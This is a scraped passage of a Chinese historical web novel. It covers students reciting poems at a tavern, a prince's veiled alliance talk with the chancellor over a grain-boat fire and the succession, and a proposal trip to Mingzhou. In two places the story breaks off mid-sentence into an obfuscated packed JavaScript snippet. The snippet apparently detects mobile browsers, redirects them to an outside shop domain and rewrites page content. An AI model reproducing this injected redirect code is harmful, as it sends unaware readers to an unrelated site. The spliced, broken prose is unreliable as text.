“少文弟弟所言甚是，护佑黎元、安靖一方一直是昌颐兄同我的志向，何不今日就应承了我们，来日同朝为官，将修身齐家治国平天下的抱负在现世落地生根？”王绍安也提起的酒盏，将酒水倒在地上，举过头顶，说道，“让太子妃在天之灵也得安慰。” “好！不日我便报名参加童试！” 听到此处贾少文才惊觉此刻在这和乐楼雅间之内的众人绝非万安城内一般的富户。他们知晓时疫发生的内情，竟还轻易说起自身和太子妃的往来，这并非万安城寻常的富户能办到的，他们或许与大庆中枢有着极深的关联。 “少文呢？少文小小年纪便能参加会试，想必也是怀着济世救民之心。”贾少文尚在惊愕之中，尚未反应过来，却不料王绍安突然开口问起了他，“家妹同我说起少文得举人之时，年纪尚幼于我，想来必是心中早存志向，方能下莫大的决心，不畏寒暑，于这般年纪便得赴会试的机缘。” “不才不像两位兄长，心怀天下，我只求他日若能高中，保一方安宁即可。”贾少文的言语间没有了方才的慷慨激昂，语气渐缓道，“让一方百姓能够吃饱喝足，不必为饥寒发愁，让少年有志可求，让老人老有所倚，便是我心底最真切的心愿。” “官场中人，多怀鸿鹄之志，汲汲于晋升，欲求千秋之功，动不动求的便是天下百姓的安稳，却忽视地方之需。殊不知真正的庇护百姓，就在那桩桩小事里。乡野之间、村落之中，若一村百姓未得好日子，这千秋之功便算是有瑕，便算不得天下百姓皆安。“王绍安向贾少文一拱手，表示赞许和认同。 “昔日龌龊不足夸，今朝放荡思无涯，春风得意马蹄疾，一日看尽长安花。” 此时，和乐楼的大堂内不知何人开始诵读起了孟郊的《登科后》，起初只是几个人跟着相和，没多久便像燎原的星火，诵读声越来越响，厢房内也清晰可闻。 朱昌颐正好在情绪之中，心下激动，快步跑到二楼栏杆处，探出身去，要不是王绍安预判及时，一把拉住，恐怕明日就有太子伴读醉酒坠楼的传闻了。 “致君尧舜上，再使风俗淳。” “一举首登龙虎榜，十年身到凤凰池。” “一官来此几经春，不愧苍生不负民。” “当官避事平生耻，视死如归社稷心。” “苟利国家生死以，岂因祸福避趋之。” “大鹏一日同风起，扶摇直上九万里。” “欲为圣明除弊事，肯将衰朽惜残年。” ...... 大堂内，春闱的众考生尽情抒发着胸中的宏图大志，虽被王绍安拉着却也难浇灭朱昌颐此时内心的滚烫。 他凭栏扬臂高举，如堂内众考生一般，将满腔宏图大志放声道出：“书生非是慕权尊，要守初心在黎元。” 借着酒劲，朱昌颐声如洪钟一下子便将大堂内众人的目光吸引到了二楼栏杆处。 堂内众人先是一愣，随后便有了细细碎碎的讨论声，好一会儿，不知是何人在人群中带着南边口音道了一声：“是王绍安！是王绍安！” 人群才又开始鼎沸起来，山呼海啸一般，跟着呼喊起来。 他们齐齐站起身来，酒杯高举过眉，目光灼灼望向王绍安，满是对前路的无限期待。 “王绍安，不不不，绍安兄竟......竟是那个王绍安？” 贾少文站在朱昌颐和王绍安身后，此刻已是醉意全无，他激动地盯着身旁的王太初，想要得到一个确切的答案。 虽初闻此名之时他也有过疑问，但他始终不敢奢望这样的好事竟真能落到他的身上，自己最为敬仰之人，竟真能在咫尺之地。 “就是那个王绍安，就是你成日捧在手中那本书的著者。”王太初笑看着贾少文，言道，“是哥哥拜托的我，令我将你引荐于他。” 大堂之内，诵读之声愈发响亮，好似欲破和乐楼而出，循着万安城的街巷直入万安宫的金銮殿。 33. 第八章 万安春闱（四） 和乐楼的对面便是万安城内最有名的茶馆清茗轩，此茶馆虽不似别的茶馆那般藏在溪畔山坞之中，而是选了市井尘嚣之所，可却总能吸引万安城内的名门贵客的光顾，其中最主要的原因便是因为此处网罗了他处难觅之佳茗。 好比此刻二楼雅间内用来招待雍王刘聿洵和丞相赵普的那壶云栖雪芽，便是他处难觅之物。 “看来今科会试学子，个个都是心怀壮志之人啊，他日若能入朝为官，定是能成为赵相的好帮手。” 和乐楼考生的壮语豪言回荡在酣香街之上，彻底掩盖了清茗轩内悠扬的古琴声。 刘聿洵和赵普对案而坐，前几日雍王府便收到了赵普的邀帖，借了恭贺自己执掌巡防营的由头，来此处品茗。 对于赵普的邀约，刘聿洵并不感到意外。虽然那么多年自己和赵普并未有私下来往，但蓟门闸一事之后，他料想赵普也定会来找自己。 虽然漕粮未按数入京之事自己还未有确凿的证据，可结合前后众人的说辞，考虑到各方的利益关系，也不难推测漕粮之事定和赵普有关。 漕运总督李安泰是赵普的外甥，户部尚书王国盈是赵普的门生，如若没有他们两位在暗中斡旋，少了任何一个环节，这件事便也不能轻易办成。 “都是为陛下效力。”赵普虽年事已高，但向来耳聪目明，他微蹙着眉，像是对隔壁楼内的喧闹之声很是排斥，询问道“殿下可还觉着闷热？如若好些了，可否让老臣将那窗户关了？” “赵相请便。” 刘聿洵抬了抬眼，伺候在旁的蔡管事便走到窗前关上了窗户。可关上窗户以后，隔壁楼内的声响虽轻了些，却还能依稀可闻。 “老爷可需要我去隔壁知会一声？”蔡管事见闭窗不能完全隔绝声响，便开口问道。 “可是隔壁和乐楼传出的声响？”赵普抿了一口清茶，悠悠问道。 “正是和乐楼。” “那就不必了，和乐楼的东家是王抃王大人的夫人。”他抬头看了一眼坐在自己对面气定神闲的刘聿洵，继续说道，“说不定未来还是雍王殿下的亲家，随他们去吧。” “扰了赵相的清净，本王代王家给赵相赔不是了。” “哦？殿下竟能代王家行事，如此说来赐婚之事殿下是同意了？前几日陛下找老臣商量此事，我原以为这事仍在商议阶段，没成想如今竟已敲定妥当。那老臣就以茶代酒，先恭喜殿下了。“ “太子妃新丧，此事尚还不能公之于众，还请赵相为我保密。”刘聿洵也提杯感谢道。 “那是自然，以王抃王大人今时今日在朝堂中的地位，些许动静都易成为他人的谈资，更何况是女儿出嫁这般要紧之事。陛下没颁旨之前，老臣定会守口如瓶，否则如若好事不成，岂不是让王大人平白落下个攀龙附凤的罪名。” “这点倒是不劳赵相忧心了，万安城内谁人不晓我刘聿洵最是贪恋美色，太初姑娘的美貌更是家喻户晓，如若有幸得父皇赐婚，外界也定会是以为我求来的，不会牵扯到王大人身上。”刘聿洵支起一只脚，换了坐姿，斜斜地撑在坐垫上，一副吊儿郎当的模样，他笑笑说道“今日这雅间内只有赵相，没有外人，我也就不见外了。” “殿下请便。”赵普点了点头，继续说道，“此事我竟全然不知，原来还是殿下先起了心思。我原只是听闻王姑娘为了殿下在万安城内同周姑娘争风吃醋，以为是王姑娘难缠。” “传闻自然不可轻信。” “殿下如今得了巡防营，又有了王大人这门亲家，可正可谓是如虎添翼，日后定能够更好辅佐陛下。” “论辅佐父皇，终究还得仰仗赵相您从中统筹，团结好满朝文武才是。” “老臣老喽，如今即使有辅佐陛下的心思，恐怕也难再有辅佐陛下的精力了。”赵普闻言笑了笑，满是老态的脸上，皱纹如揉皱的纸般拧作一团，“倒是殿下能文擅武，在处理万安瘟疫之事上恰到好处，日后老臣需得仰仗殿下才是。” “何来仰仗之说，赵相是先帝亲封的托孤大臣，大庆能有今朝的胜景也多仰赖赵相，应是本王日后得多向您请教才是。” “殿下客气了。说起来我这里倒还真有一事需得向殿下请教。也是笑话，虽老臣在朝数十载，其他事务尚可应对，然于兵部诸事，实乃外行。”说到此处，赵普停了下来，端起案上的茶盏，一面低头轻轻吹着，一面抬眼观察着刘聿洵的反应。 “赵相但说无妨，本王定知无不言。” “也不是什么要紧的事情，就是北军都督徐涛达前几日发报请教的我。问我今西北方向阻鞑靼入关，主力多是西军，北军仅为辅助。然同守西北一隅，为何不将两军合而为一，以便统筹？”说罢，赵普轻抿了一口吹凉的茶水。 “没想到徐都督戎马多年，竟还能问出如此浅显的问题。鞑靼是大庆在西境最强悍的敌人，如若仅遣一军守此要地，难保军中主将恃其位重，行徇私舞弊之事，更有甚者或与敌勾结。若真如此，我大庆万安城岂能无虞？因此才需要分为西军北军互相制约，彼此牵制。” 西军北军共存数十载，从未有人问起过两军相并之事，更何况是统帅北军的徐涛达。今日这个略显降智的开场白，恐怕只是赵普想提点自己那十万两白银之事，否则也不会突然提及徐涛达。 刘聿洵的语气不算客气，他虽为赵普的直白威胁感到不悦，却还是极力周旋，那日他收下十万两白银为了就是将自己身上的破绽暴露给对方，钓鱼上钩。 如今看来赵普这条鱼确实胃口不小，漕运、户部、北境他竟都有染指。 “殿下说的是，我这个门生向来粗鄙，只知道带兵打仗，哪里会知道什么制约、牵制，让殿下笑话了。” “徐都督竟是赵相的门生，这我倒是确实不知，本王方才语气重了。”刘聿洵假装吃惊，连忙转圜说道“说起来，我同徐都督也是颇有渊源，去岁本王去北境巡边，徐都督对我也是颇有照顾，他还同我说起了一件秘事。” 此时不知为何和乐楼那边，声响愈发大了，紧闭的窗户也再难隔绝那边的声响。刘聿洵看到赵普的眉头越蹙越紧，抬手让身旁的蔡管事换了一杯热茶。 “殿下莫怪罪，老夫有头痛之疾，若逢喧嚣，实难忍受，只能靠着这安神的宁心盏稍压头疼之扰。” “既然赵相身体有碍，何不我们改日再叙？” “无碍，请殿下继续说，徐都督所说秘事是为何事？”赵普将那宁心盏一口饮尽，稍平心绪问道。 “徐都督同我说自己患有喘症，这些年愈发严重，北境风寒酷烈，希望朝廷能够早日遴选忠勇兼备之贤才，代其镇守北境，让其能够卸甲南归，还返万安城，颐养天年。” “徐都督喘症之事倒是同我多次说起过，但我总告诉他，如今军中堪为将才者寡，尚还需要其勉励支撑，竟没想到，他还把这状告到了殿下处，让殿下笑话了。” “无碍无碍，本王也是军中出身，亦知戍卫边境之辛苦，听将军战士门发发牢骚，亦是我的分内之事。” “殿下不怪罪就好。” “不过既然徐都督开口了，我倒是也仔细思虑了一番，毕竟北境之行，徐都督对我确实是有多照顾。”刘聿洵瞥了一眼赵普，继续说道，“徐都督喘症严重，需得南迁避寒。可南边适合徐都督的位置却寥寥，唯东军和南军两处尚合宜。” “南军所守，多是崇山峻岭之地。徐都督素擅平原战事，山地作战非其所长，恐难施其才，于战事、于其本身皆无益处。”刘聿洵细细分析了起来，“剩下的便是东军，可东军一直都是林靖远所管，林婧远是个地地道道的南方人，恐怕更是难抵抗北境的寒冷。再来，此人在东军中颇有声望，一时半会恐怕也是难以调动。如此算来，如果徐都督想要回万安城，恐怕还真找不到合适的统帅之位了。” 北境往南，除了东军和南军之外，还有一支最靠近权力中心的军队，那就是京营，这一点刘聿洵自然知晓，他也知道徐涛达费尽心机所求的也就是京营都督之位。 而此刻他故意不说，也只是想让赵普亲自说出罢了。 和乐楼的方向此刻突然安静了下来，雅间内也没人再开口说话，刘聿洵总算是听清楚了清茗轩的大堂内此刻弹奏的是《阳关三叠》。 “殿下莫不是忘了，北境向南，还有京营。” 赵普果真提到了京营。他也定是看出了刘聿洵此刻在装傻，目光间闪过一丝不快。 “这个本王自然是没忘，只是京营都督是太子的岳父，这个位置我劝徐都督是连想都不要想了。” 刘聿洵以退为进。 “现下自然是动不得，可是如果京营都督不再是太子的岳父呢？” “虽太子妃已逝，可太子已立下誓言称从今往后只有陈氏是其唯一的妻子，即亦如此，恐怕陈伯庸永远都会是太子的岳父，这京营都督的位子永远也只会是他的。” “听说去岁重阳节康王府赏菊宴，殿下去得比太子要晚了些时候？” 赵普没有接着刘聿洵的话头往下说，反而说起了其他。 “这些小事，赵相竟然知道。” “事关殿下，就不会有小事。”赵普抬了抬手，守在其身侧的蔡管事忙躬身向屋外退了出去，李全胜原本守在门口，在得到刘聿洵首肯的眼神以后也退到了雅间外。 “殿下方才说太子立誓今生只有陈氏一人为妻，陈伯庸将永远会是太子的岳父。可这句话老臣却觉得逻辑稍有不妥。” “哦？何处有不妥呢？”刘聿洵挑眉笑问道。 “如果太子不再是太子了呢？”赵普浑浊的眼睛死死地盯着刘聿洵，他轻巧地问出的是这万安城内刘聿洵世人皆知的野心，“如果太子不再是太子，那陈伯庸就什么都不是了。” “哈哈哈，若太子不再是太子，那陈伯庸就自然不会是京营都督了。” “那倘若殿下您是太子呢？”赵普颤颤巍巍地给刘聿洵的茶盏添上新茶，双手握盏，举到他的跟前，又问了一遍，“倘若殿下您是太子呢？” 云栖雪芽馥郁的茶香随着袅袅茶烟在刘聿洵的鼻端盛放，这是权倾朝野的赵普向他抛出的橄榄枝，曾经他在良知和赵普之间有过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16397947|180575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无数次的挣扎。甚至在不久之前，在腹背受敌的时候，他也有想过握住赵普，这个最大的胜算。 可是现在的他不同了。 他轻笑着，继而仰面后撤了几分。 “倘若我是太子，那陈伯庸自然不是太子的岳父了。”刘聿洵接过赵普奉在手中的茶盏，一口饮尽，将茶盏倒扣在案，问道，“只是在我成为太子之前，赵相是不是有事需要本王先做？” 赵普第一次在刘聿洵的眼睛中看到坦荡，像是卸下了平日里玩世疏狂的皮囊，将赤诚本真的一面示于“盟友”面前。 至少在此刻他笃定没有人能够拒绝他赵普递出去的结盟邀约。 “我要殿下帮我保住李安泰。” “如何保？是保他的漕运总督之位？还是保他的性命？” 和乐楼的方向，短暂的寂静过后，会试考生们慷慨又热烈的诵读声，再次传了过来。 那些为苍生立命、为天下太平、为社稷千秋的慷慨诗句，像重锤敲击鼓面一般钻进刘聿洵的耳朵里，他知道赵普定然也是听到了。 他直勾勾地盯着他，想从他的眼神中找到一丝一毫的局促和心虚，可是这个大庆一人之下万人之上，掌管着大庆命脉的权臣脸上，只有对漕运总督位置是不是还掌控在自己手中的关心。 “请殿下保住李安泰的漕运总督之位。那日蓟门闸码头殿下也在场，只要殿下肯作证言那日漕船走水纯属意外，替其美言几句，陛下定会宽大处理。” “可即使是意外，漕船走水漕粮被毁此等大事，想要保全李大人留在原位也已是难事。如若父皇不允，赵相可有后招？” “漕运总兵钱一标。” 赵普没有犹豫，在他的棋局中，没有哪一枚棋子是不可以被舍弃的，即便是他的外甥，他亦有取代他的后招。 “本王明白了，万安府尹林秉章因失职恐不会审理漕船走水一案，按例自然便会交予刑部审理，届时我去刑部替李大人做个证便是了。” “如此甚好，有劳殿下了。” “这本就是顺手的事，此事我也觉着蹊跷，你说那日漕船停在河心，并未靠岸。李大人定也是想着将漕船停在河心好防止走水，如此谨小慎微，又怎么可能烧得精光？”他故意提起未靠岸的漕船，继续追问，“只是不知那是艘空船，还是满船？如若是空船的话尚也能算损失不大，日后在量刑上好做依据。” “是满船。” “是满船的话，恐怕你我都需费点心思了。”刘聿洵又变回了往日随性的模样，随口问道，“听说那几艘漕船上的漕夫都畏罪自尽了？我看还真是便宜他们了，这些人将漕粮运抵万安之后竟不是先将漕粮卸下，竟先进了城寻欢作乐，小小蝼蚁的过错，竟还让我们李大人受了委屈，实在是该死。” 虽他的口中尽是责难之语，然语气间的不舍之意渐浓。那日大帐内王太初初闻漕夫们畏罪自尽的场景，忽现于其眼前。他忽觉心中似有石块一般，只觉此刻即便作伪说谎、假意演戏，亦是万般不忍。 “只要有你我在，蝼蚁固不能撼大树。” “书生非是慕权尊，要守初心在黎元。” 和乐楼的方向不知是谁大先声呼喊起来，紧接着便有一片欢呼声骤然响起。 人群不断重复着方才的诗句，那排山倒海的气势让清茗轩的窗户如同空设一般。 楼下大堂内的古琴声索性停了下来，赵普再也无法对此充耳不闻，他扶着案沿站起身来，说道：“原想找个清净之所同殿下喝杯清茶，没想到此地竟会如此聒噪，不如今日就先论到此处，殿下同我改日再叙。” “听赵相的。”刘聿洵也站起身来，扶着赵普走下楼去。 今夜的酣香街被滚烫的赤诚和振奋的豪情填满，和乐楼那一串串红艳艳的灯笼，亮得热烈夺目，彻底将清茗轩那几盏透着微光的灯笼给掩盖了下去。 赵普被刘聿洵扶上了青泥小轿，这是他为了掩人耳目而特意选的轿子，他掀开轿帘，探头抱拳道：“安泰之事，有劳殿下了。” “赵相放心。” 目送着赵普的青泥小轿渐行渐远，刘聿洵将视线收回，和乐楼内学子们的慷慨情绪依旧还在，他不知道此刻王太初是否也在楼内。 正欲抬步而去，便瞧见楼内众人猛得一股脑涌了出来。他们高声诵读着诗文，抒发着他们满腔的情绪，三三两两沿着酣香街而去，此举竟招来了更多人的参与，将原本宽阔的街道堵了个水泄不通。 徇着声音的方向，他看到赵普的那顶小轿被迫停在了路口寸步难行。 “不知赵相参加春闱那年，是否也在这样的街巷，念过这样的诗文？” 被迫只能驻足在原地，刘聿洵望着汹涌人群中的那一顶青泥小轿感慨道。 “刘聿洵！刘聿洵！” 王太初清脆悦耳的声音在街对面响起，他回过神来，向着声音的方向寻去。 她仍然站在最光亮的地方，朝着自己招手。 他听着她一遍遍唤着自己的全名，眼底满是宠溺，随即拨开人群，毫无迟疑地朝她走去。 34. 第九章 赵家盼儿（一） 正德三十六年的春闱，虽因疫事迁延，但好在终在盛夏暑气未至，清风尚爽之时，有了圆满的结果。 不出所料，王绍安会试得中，后于殿试一举夺魁，成为了正德三十六年的状元。 而他高中之后，并未设宴庆祝，而是立即动身前往明州，求娶赵盼儿。 终于在芒种之前，赶到了明州府句章县。 赵盼儿明州府句章县人士，农户之女。自少时便与王家兄妹相识于私塾，后因其父骤逝，其母思之过甚，卧病在床，方不得已辍私塾之学，归家养亲担责。恰于此时，王绍安忧心其学业，常于其身后相授，且通过书籍与之相交。二人情谊，才自此渐生。 赵盼儿不似王绍安那般内敛含蓄，对于感情之事向来直来直去，她不在乎外界的评论，对什么农户之女高攀权臣公子的恶言恶语并不在意。所以在王家兄妹离开句章县前一日，她便找王绍安要了承诺，而他也给出了自己的承诺。 从万安城到句章县这一路，王绍安和赵盼儿的这个爱情故事，王太初是讲了一遍又一遍，其他听客都已是耳朵生茧不愿再听，唯独江音如却乐此不疲，更是对每个细节都要打破砂锅问到底。 此次明州求娶之行，虽王抃因为政事繁忙未能亲自前往，但王家为了表示最大的诚意，几乎全家而出，就连最小的王绍文也不例外。 虽王绍安是在殿试夺魁之后才将自己的心意告知家中，可他自己却已在背地里悄悄准备齐全了聘礼，这聘礼的单子任是让平日里最喜欢在礼数上吹毛求疵的江音如都挑不出个错误来。 句章县的官道上，县令苏明远不知从何处探得消息，知道通政使王抃的公子、今科状元王绍安会于近日回乡探亲，早在数日之前便差遣人在沿途打探等候。 终于在今日得到王家马车队进入句章县地界的消息，一早就率领属官侯在了这官道口。 “下官苏明远携县中僚属恭迎状元公荣归故里。” 王绍安此行并不张扬，此次回乡本就只是为了迎娶赵盼儿，便不想让自己状元郎的身份喧宾夺主了去，因此万安城内除了王府之人和朱昌颐之外，他并未告知其他人。 可他也知道身为天子门生、今科状元，他的一言一行也定是惹人瞩目的，所以对苏明远的到来他也不觉着意外。 “苏县令，您太过客气了，还是同往日那般唤我绍安便可。此前家中诸事，多蒙您照拂，晚辈心中亦是感激。” 苏明远初来句章县之时，王抃就已是翰林学士，虽不及此时通政使风光，但对于句章县县令来说，也能算得上是万安城内排得上名号的京官了。 也正因为如此，这些年来朱明远对句章县的王家也是多有关照。 “我乃句章县县令，照拂县中百姓本就是我份内之事。”朱明远连连摆手，脸上堆满了笑意，原以为王绍安一登龙门，便会对自己这个七品小官置若罔闻，没想到他却竟还像往日那般亲厚。 一时之间，他心头竟生出些许激动来，感叹道：“沈老太太如若今日还在，也定会为绍安感到骄傲的。” “绍安兄，既有人在此相迎，你我便在此别过吧。”说话的是贾少文，此番赴考春闱，他终究未能得中。他原打算一人启程回越州府，待日后重整旗鼓再试，却恰逢遇到王绍安回乡求亲。 明州府和越州府本就顺路，他们也就一路相伴，抵达了句章县。 “少文不随我回句章讨一杯喜酒喝？” 贾少文素来懂礼数，旁人说话之时从来不会刻意打断，可今日朱明远和王绍文尚且还在说话之时，他却开口言要离去。 “兄长成亲，我本当亲往道贺，可恰逢芒种农忙。原本只靠自己脚力我是定然没法在芒种之时赶回越州的，今日有幸搭乘绍安兄的马车回乡，正好能赶上农忙。父母年事已高，若我能回乡搭把手，实为最佳，还望兄长体谅。” “为兄自然能够体谅，农时不等人，父母身边更需人照顾，你且安心回乡便是。收束心绪，勿因这次失利颓丧，安心温故备考，三年后，我在万安城备酒等你。” “一言为定。”贾少文虽因会试失利而失意，可这一路和王绍安同归故里，倒也让他真切看清了自己与状元郎之间的差距。 “好，一言为定。太初尚还不知少文在此处就与我们告别，我且让启年去前车唤她过来。”说着王绍安就招手招呼不远处的启年过来。 “绍安兄，不必了。三年说长不长，说短却也不短，何时相见犹未可知。万安城内就属太初姐姐最是心疼我，把我当成亲弟弟一般。离别的话语少文实在难当面开口，就不必同姐姐言语了吧。” “如果少文不告而别，我可保不齐太初会原谅你。” 此时贾少文的眼眶中已是蓄满眼泪，眼前的这个少年向来持重不苟言笑，喜怒哀乐皆都藏于心中不露一分，王绍安也只在那晚和乐楼，在酒意渐浓处，在家国大爱之前，看到过真正的他。 可今日只是当面对王太初说一句“再见”他都没了勇气。 前头的马车里，不时有欢声笑语隔着车帘飘出来，其中最为悦耳的便是王太初的笑声。 “无碍，就让姐姐再多笑一会儿吧。” 于贾少文而言，三年的时光实在是太过于漫长。眼下他虽满口应下三年之后的春闱之约，可对于他这样的人来说，三年或许什么都会改变。 此番进京赶考父母已是花光了所有积蓄，三年之后是何光景还很难说。同样他也害怕，害怕三年艰苦的生活会不会就此磨灭他的意志。 “好，那我便不勉强于你。记得，如果在越州府遇到任何困难，都可书信于我，万安城内你永远都有我们在。” “好。”贾少文恭恭敬敬地作揖行礼，待礼毕，便背起行囊，转身朝着通往越州府的官道大步走去。 苏明远心里本还憋着不快，自己虽说只是个地方小官，可说话被人打断，总归不痛快。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16412994|180575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可一瞧见王绍安跟那人以兄弟相称，便也不好再计较什么了。 “太初此番也跟着回来了？” “正是，还有家母同家弟。” “还有王夫人？”苏明远原还以为王绍安此行是为自己高中之事来拜祭他的祖母和母亲。却不想王抃在万安城的继室此番也跟了过来，看来他们定是有别的要紧之事。 他的眼前突然浮现出了赵盼儿精明强干的脸，不由打了一个寒颤。 “母亲此番是为我来求亲的。” “苏大人你也认识，求娶的正是赵家盼儿。” “盼儿姑娘绍安怕是娶不成了。两月之前，她的母亲去世，她正在戴孝。” 芒种是二十四节气中的第九个节气，也是夏季的第三个节气，对于靠天吃饭的农人来说是一年之中最繁忙的时节。 赵盼儿家有五亩薄田，是赵家孤儿寡母生活的重要来源。在赵父去世之后，这五亩薄田也曾被旁的田主悄悄侵占过，甚至被乡绅豪强惦记过，可那么多年靠着赵盼儿的“蛮横不讲理”硬是保到了今日。 大概一月之前王绍安收到过赵盼儿的来信，算算驿夫的脚程，大概可以推算那封信便是写在赵母去世之后不久。可那封信中，字字句句都未曾出现过一丝一毫的迹象，她从头至尾都未说起自己的事，写的都只是她对自己决定的支持而已。 他想要责怪她，如此要紧之事为何只字不提，可是他又心疼她，就好像现在，相依为命的母亲去世，她甚至连难过的时间都没有，她还有自己的五亩薄田需要耕种。 赵盼儿站在田埂上，撑着自己的腰，仰头望向天空发呆，这是她农作时少有的喘息。 看这田间的光景，想来早稻已收，此刻她正在播种晚稻。她需和时间赛跑，在雨季到来之前，将晚稻种下，所以她没有时间为了死去之人悲伤，只因活着的人所身处的境地，也难容半分错误。 “盼儿姐姐----盼儿姐姐----” 王绍安闻此噩耗之后，便将一行人等安置在了王宅，自己和王太初去赵家找盼儿，可找了一圈都未瞧见。 要不是想起贾少文方才的话，知道不日便是芒种，恐怕他们也难想到到这田间来瞧一瞧。 王太初不似王绍安那般沉得住气，内心纵是忧思万千，却不在人前露半分神色。 她早已从看到赵盼儿的第一眼开始便哭喊着朝她跑了过去，一把将犹在惊愕中的赵盼儿搂住，低声啜泣道：“叔母去世，姐姐怎可只字不提，独担此痛？” 就像是孤舟夜航时，忽见岸畔家宅透出的灯火一般，赵盼儿所有的孤勇都有了归处。 她狠狠抱住王太初，将头埋在她的肩头，原本隐忍的啜泣也变成了难以抑制的嚎啕，坚强如她，竟也卸下所有伪装，将那份从未示于旁人的软弱，毫无保留地摆在王太初面前。 她尚还不知，在不远处，另有一人与她感同身受，正悄悄抬手抹去眼角的泪痕。 35. 第九章 赵家盼儿（二） 原本的喜事因为赵母的离世而变得丧事，此事众人虽觉得遗憾，却亦能体谅。 尤其是江音如第一时间便叫人撤下了王府的喜庆陈设，虽未悬白，却命府中上下皆着浅色衣饰，俨然已是将赵盼儿看作是自家的儿媳了。 王太初更是寸步不离地跟在赵盼儿身边，原本她就有说不完的事情要同其分享，眼下更是舍不得留其一人，拉了赵盼儿就夜宿在了王府。 “盼儿姐姐睡着了吗？”月光余晖透过窗棂温柔地铺满房间，房间内的陈设还同王太初离开明州前的那晚一模一样，她们当时也是这样躺着。 “没有。” 虽然王家并未同其说破，可入府见到园中一个个挂红紫檀木箱之时，她便猜到了事情的原委。 她许诺相守一生的儿郎终于在状元及第之后，抬着满箱聘礼上门求娶。 他不像戏文唱的那般薄情寡义，多情在外，他重信诺、守信义，原本应该得到她最好的嘉奖，可是现实却无法尽如人意。 甚至她第一次开始怀疑，如果，如果王绍安身边之人不是自己，他会不会有更多春风得意的时候。 想到此处她便觉着鼻尖酸涩，假装咳嗽，偷偷吸了吸鼻子。 “那我们聊聊天吧。” 王太初还未等到回应，便翻身支起了身子，好似并未发现赵盼儿此时的变化。 “好呀，万安城定是非常有趣吧？太初可有遇着什么有趣的事情和人同我讲讲。”才刚开口，赵盼儿就听出自己嗓音不对，她故意挪了挪身子，清了清嗓子，接着往下问，“前次你来信说遇到个有趣的人，定要当面同我说，这般故作神秘，可是有何故事？” “先不说他，说说盼儿姐姐，同光书塾的孩子们可都还好？姐姐可还是时常去书塾教他们识字？” “农闲之时都会去书塾帮忙，毕竟绍安在那里下了一番功夫，我不想让他的心血付诸东流。” 赵盼儿和王太初口中的同光书塾并不是句章县的官学，而是王绍安在清晖书院开坛授课之时，在旁为家贫失学的孩子所设的小学塾。 从前都是由赵盼儿和王太初帮着打理，在王家离开句章县之时，便将其拜托给了赵盼儿。 而王绍安除了将王家在句章县五十余亩土地之产出作为书塾日常运转之费以外，还时常会托人从万安城送来银钱。 “在万安城之时，我便时常记挂书塾的孩子，怕一旦农忙，他们家中长辈便会觉得读书费时无益，将他们尽数领回家去。尤其是那几个小姑娘，要不是哥哥贴了粮食，她们也定不能有识字认数的机会。”王太初望着黑暗中赵盼儿的侧脸，声音也变得温柔，“有时我也会同哥哥讲起自己的担忧，可每次哥哥总说，有盼儿姐姐在，同光书塾除了会变得更好之外，便不会有别的变化。” “嗯。” 王绍安不似王太初那般，可以让赵盼儿抱之痛哭，宣泄自己的情绪，他更像是你周遭已然习惯的一切，虽不热烈滚烫，但无时无刻无不在顾念你的情绪。 他虽未曾有一句安慰之词，可身上披上的孝服却也足见他的心意。 “所以说，有了盼儿姐姐，是大哥哥的福分，也是我的福分。” 言罢，王太初便心满意足地躺下，将身子往赵盼儿的身边挪了挪，芒种之前，入夜之后，气候犹带清冷，可王太初就像暖炉一般，温暖着赵盼儿。 王太初总是有这般魔力，在你最需要她的时候，及时出现。不知是真懂其中诀窍，抑或只是恰巧，消散你心中的惶惑。 就像此刻一般，她告知你的重要性，告知他们对你的需要，这些便好过任何的安慰。 “谢谢。”她轻轻道了一句谢。 “姐姐谢我做什么？”王太初似真不知这谢从何而来，又半撑起了身子，盯着赵盼儿打量，“该是我替哥哥谢谢姐姐才是。不过去了万安城我也是看明白了几分，姐姐属意的本就是我这样的哥哥，我也不必替他言谢。” “哦？小太初看明白的事，可是那信中之人教会你的？” 屋内唯有月光清晖洒落，虽看不真切人的脸庞，赵盼儿却仍能察觉女孩因害羞而蔓上脸颊的红晕。 “就是他！” 王太初虽嘴上承认地爽快，却还是难免少女的娇羞，话刚说完，她便躺倒下来，扯过被子，将自己的脸严严实实盖住，只露出一对含羞的眼眸。 “快和姐姐说说，是怎么样的人？” “嗯----有些奇怪的人。” 王太初的眼前突然浮现出刘聿洵深邃的眼睛，她从初遇刘聿洵，到最后一次见到他的那些事一一在心里想了个遍，却只能总结出奇怪这样的感受。 “奇怪？”赵盼儿不解，也撑起半边身子追问道，“何处觉着奇怪？让姐姐来帮你瞧瞧。” “说不上来，头回在康王府见他之时，瞧见的便是他跟太子争体面，非得比太子晚到，为的就是想压过太子的风头。可等进了园子，占了这先机便宜后，他倒变了，反倒像个无关紧要的人似的，没了先前的劲儿，让我缠着他闹了很久。” “和太子争体面？”赵盼儿惊觉不妙，忙坐直了身子，虽身处离万安城千里之外的明州府，可朝堂局势她却也知晓几分，更何况是眼下大庆国内最为人津津乐道的储位之争，她小心询问道，“太初中意之人莫不是雍王？” “姐姐为何如此惊异？难不成姐姐也同爹爹和哥哥一般，有门第之见，觉得我高攀了皇子不成？”王太初也不甘示弱，坐了起来，面对赵盼儿问道。 